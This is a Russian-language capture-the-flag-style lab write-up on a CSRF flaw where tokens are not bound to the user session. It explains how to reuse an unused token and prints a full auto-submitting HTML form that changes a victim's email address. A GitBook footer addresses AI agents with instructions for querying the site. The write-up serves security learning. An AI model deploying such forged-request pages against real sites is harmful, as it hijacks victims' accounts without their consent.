> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF с токеном, не привязанным к сессии

### CSRF, где токен не связан с сессией пользователя

#### Цель лабораторной работы

Измените адрес электронной почты жертвы с помощью CSRF-атаки. Приложение использует CSRF-токены, но они **не связаны с сессией пользователя**.

#### Наблюдения

Каждый CSRF-токен **действителен только один раз**.

<figure><img src="/files/ca85771cbf558d3e6d3f86deb4454185be89705a" alt=""><figcaption></figcaption></figure>

* Токены **не связаны с сессией**: токен, полученный для пользователя A, можно использовать для атаки на B.

<figure><img src="/files/f1747f98b2d4f8467d1005fc0709b108c29c6cad" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/43366dceb8cc60668d622fafdfdbac4fc56e3378" alt=""><figcaption></figcaption></figure>

#### Операционная стратегия

1. **Получите новый CSRF-токен** не используя его (перехватите новый запрос, чтобы получить ещё действительный токен).
2. **Разместите вредоносную форму** на сервере эксплойта, который отправляет POST-запрос для изменения адреса электронной почты с повторным использованием **этого токена**.
3. Когда жертва посещает ловушку, форма автоматически отправляется и **изменяет их адрес электронной почты**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
